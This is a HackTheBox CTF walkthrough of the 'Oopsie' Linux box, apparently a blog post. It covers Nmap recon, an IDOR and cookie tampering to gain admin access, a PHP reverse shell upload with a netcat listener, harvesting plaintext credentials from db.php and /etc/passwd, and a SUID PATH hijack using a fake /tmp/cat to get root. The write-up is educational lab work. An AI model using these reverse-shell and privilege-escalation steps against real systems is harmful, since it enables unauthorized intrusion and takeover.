HTB Oopsie-Full Walkthrough

HackTheBox | Linux | CTF| Web App|PenTesting · Privilege Escalation

Introduction

Oopsie is one of those machines that teaches you the complete beginner pentester workflow in a single box. No fancy CVEs, no obscure exploits just solid fundamentals: web enumeration, broken access control, file upload abuse, credential hunting, and privilege escalation through a misconfigured SUID binary.

If you’re on the OSCP path or just starting out with HTB, this box covers exactly the techniques you’ll use on real engagements.

Attack Path Summary

1. Ran Nmap to identify open ports and discovered SSH and HTTP running on the target.
2. Inspect the webpage source code and identify a hidden login endpoint /cdn-cgi/login/.
3. Manipulated cookies to gain admin access and uploaded a PHP reverse shell to get a shell as www-data.
4. Searched web application files and found plaintext credentials inside db.php.
5. Used the discovered credentials to switch to the robert account and grabbed the user flag.
6. Found a custom SUID binary /usr/bin/bugtracker during privilege escalation enumeration.
7. Exploited insecure PATH handling in the binary by placing a fake cat in /tmp and modifying $PATH to get a root shell.
8. Retrieved both the user and root flags.

Step 1: Initial Recon with Nmap

nmap -Pn -T4 --min-rate 1000 -p- 10.129.22.115

nmap -sC -sV -p22,80 10.129.22.115

Open Ports:

• 22 — SSH(OpenSSH 7.6p1)
• 80— HTTP(Apache/2.4.29)

SSH usually needs credentials, so HTTP is our primary target. Let’s start digging.

Step 2: Finding the Hidden Login Page

Browsing to the target shows a basic company webpage. Nothing interesting on the surface but checking the page source reveals a hidden reference:

http://10.129.22.115/cdn-cgi/login

Navigating to the page reveals a login interface; however, it appears to be non-functional rather than a legitimate authentication system. Instead of validating credentials, it relies on frontend JavaScript to display a loading animation followed by a “Welcome back” message. This indicates that the login mechanism is primarily handled client-side, with weak or absent server-side authentication checks. Given this behavior, the “Login as Guest” option can be used to proceed further.

Login page

Step 3: Cookie Manipulation Leading to Unauthorized File Upload and Remote Code Execution

Now Navigating to the account section, we can see that we are logged in as guest user with access id 2233.

Guest Account page

You can find this here http://{Target_Ip}/cdn-cgi/login/admin.php?content=accounts&id=2

However, modifying the parameter from id=2 to id=1 returns Access Id associated with an admin account.

This behavior demonstrated an Insecure Direct Object Reference (IDOR) vulnerability, where internal objects or user records could be accessed simply by modifying user-supplied identifiers without proper authorization validation.

Admin Account page

The application relies on cookies to maintain access. By inspecting them through the browser’s developer tools specifically the Storage tab in Firefox we were able to analyze their details more closely and identify the cookies tied to the guest user session.

This represented a classic Broken Access Control vulnerability because authorization decisions were being enforced on the client side instead of securely validated on the server.

Guest user Cookie

By modifying the cookie values setting the role to “admin” and updating the user value to 34322 (Admin ID)and then refreshing the page, the application grants elevated privileges. This effectively bypasses the existing authorization controls and provides access to the upload functionality.

Upload page

Then we uploaded a PHP reverse shell using the php-reverse-shell.php file from /usr/share/webshells/php/. After updating the $ip to our machine and setting the port to 4444, we uploaded it via the form. The file became accessible at /uploads/php-reverse-shell.php, allowing execution.

The application failed to properly validate uploaded file types and allowed executable PHP files to be uploaded directly to a web-accessible directory.

We then started a Netcat listener using nc -lvnp 4444, ensuring the port matched the one configured in the reverse shell. Upon visiting http://{target_IP}/uploads/php-reverse-shell.php, the shell executed successfully, providing us with access as the www-data user.

Shell Stabilization

A raw netcat shell is painful to work with. Fix it using

python3 -c 'import pty; pty.spawn("/bin/bash")'

Step 4: Post Exploitation Enumeration

The primary objective was:

• discovering credentials,
• identifying users,
• and locating privilege escalation vectors.

We were able to access and read the /etc/passwd file, which revealed a user account named robert present on the system.

Searching Application Files

The command find /var/www -type f 2>/dev/null lists all files within the web root directory while suppressing errors, helping identify important application files such as scripts, configs, and backups for further analysis.

find /var/www -type f 2>/dev/null

During enumeration, a db.php file was identified. Upon accessing it using cat /var/www/html/cdn-cgi/login/db.php, we were able to retrieve Robert’s credentials in plaintext.

Step 5: Switching to User robert Using Retrieved Credentials

Step 6: SUID Enumeration

SUID (Set User ID) is a special type of permission in Linux that can be applied to executable files. When this permission is set, the file runs with the privileges of its owner rather than the user who executes it. This means that even a normal user can temporarily gain the permissions of another user (often root) when running that program.

find / -perm -4000 2>/dev/null

Among standard Linux binaries, a suspicious custom binary was identified: /usr/bin/bugtracker

A key observation is that the SUID (Set User ID) bit is enabled on this binary. In this case, the binary /usr/bin/bugtracker has the SUID bit set, indicated by the **s in place of the usual execute (x) permission. This means the binary executes with root privileges**, regardless of who runs it.

Step 7: Privilege Escalation — SUID Binary + PATH Hijacking

Analyzing the Binary

Before attempting exploitation, the binary was analyzed using the strings utility to inspect readable content embedded within it.

strings /usr/bin/bugtracker

Important strings identified during analysis included:

cat /root/reports/
system

This was a critical discovery because it revealed:

• the binary used the system() function,
• and executed the cat command internally,
• without specifying an absolute path such as /bin/cat.

We ran the binary to help us understand its behavior

/usr/bin/bugtracker

The application prompted for a Bug ID. After supplying an arbitrary value such as c, the following error was returned:

cat: /root/reports/c: No such file or directory

This revealed that the binary internally used the cat command to read files from /root/reports/. Since the command was executed without an absolute path, it suggested the application relied on the system PATH environment variable to resolve the executable.

This behavior introduced a classic PATH Hijacking vulnerability.

• Linux resolves commands using directories listed in $PATH
• If attacker-controlled directories appear first, malicious binaries may execute instead of legitimate ones

Creating a Malicious cat Binary

To exploit this behavior, a fake cat executable was created inside the /tmp directory. Instead of displaying file contents, the malicious binary would spawn a privileged shell.

echo '/bin/bash -p' > /tmp/cat

The -p flag preserves elevated privileges when Bash is executed through a SUID process.

The file was then made executable:

chmod +x /tmp/cat

Modifying the PATH Variable

Next, the PATH environment variable was modified to prioritize the /tmp directory.

export PATH=/tmp:$PATH

This ensured that whenever the system attempted to execute cat, it would resolve to /tmp/cat before the legitimate system binary located in /bin/cat.

Triggering the Exploit

The vulnerable SUID binary was executed again

Once triggered, the application executed the attacker-controlled cat binary with root privileges inherited from the SUID process.

As a result, a root shell was spawned successfully:

Step 8: Retrieving User and Root Flags

The user flag is located at /home/robert.

The root flag is located at /root/root.txt

Attack Chain

Nmap → Page Source → Hidden Login
    ↓
Cookie Manipulation → Admin Access
    ↓
PHP Upload → www-data Shell
    ↓
db.php → Credentials → robert → User Flag ✓
    ↓
SUID bugtracker → PATH Hijack → Root Flag ✓

Key Takeaways

• Never trust client-side authorization
• Avoid storing plaintext credentials in web files
• SUID binaries should always use absolute paths
• File upload functionality must validate extensions properly

Skills Practiced

• Web Enumeration
• IDOR Exploitation
• Broken Access Control
• Cookie Manipulation
• File Upload Exploitation
• Reverse Shells
• Linux Enumeration
• SUID Enumeration
• PATH Hijacking
• Linux Privilege Escalation